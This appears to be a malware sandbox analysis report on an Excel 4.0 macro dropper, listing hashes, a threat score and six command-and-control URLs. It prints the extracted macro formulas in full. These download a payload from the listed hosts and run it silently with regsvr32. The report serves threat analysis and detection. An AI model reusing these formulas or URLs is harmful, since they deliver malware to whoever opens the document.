9df2105aefe206a4128f0acacb4c2d6ac6f24cce8cbaf82567c7d65f1af3fceb

General

Target

9df2105aefe206a4128f0acacb4c2d6ac6f24cce8cbaf82567c7d65f1af3fceb
Size

46KB
Sample

241120-meef1swcqm
MD5

ec0d55f7183f81b6e107a0bbb2b66a59
SHA1

7cec0ee71ef08f7cc87d62a54057e63cb4274ba2
SHA256

9df2105aefe206a4128f0acacb4c2d6ac6f24cce8cbaf82567c7d65f1af3fceb
SHA512

224f4ad5f18dfcc1f2e87b19c36934f48f6fe8fbaf1499da963c3170c3f4d9bfdd4e650f9f57f74db087e9415d62878a3e5a5b87f3c6e2236e4417a4f7674ed8
SSDEEP

768:Oio9DOevZCwrvtD608zdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPWft:Oio9D7UtT5fTR4Lh1NisFYBc3cr+UqVC

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://diacrestgroup.com/ggv3rjy/9/

https://merturku.com/blogs/IFcif/

https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/

https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/

https://mayatherm.com/vendor/3Vk/

https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://diacrestgroup.com/ggv3rjy/9/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://merturku.com/blogs/IFcif/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mayatherm.com/vendor/3Vk/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://diacrestgroup.com/ggv3rjy/9/

xlm40.dropper

https://merturku.com/blogs/IFcif/

xlm40.dropper

https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/

xlm40.dropper

https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/

xlm40.dropper

https://mayatherm.com/vendor/3Vk/

xlm40.dropper

https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/